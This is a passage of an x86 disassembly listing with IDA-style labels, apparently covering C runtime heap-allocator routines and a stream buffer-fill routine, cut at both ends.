		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2780000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28806BAh
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2770000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28806BAh
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 2770000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 28806BAh
		nop
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2880850h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
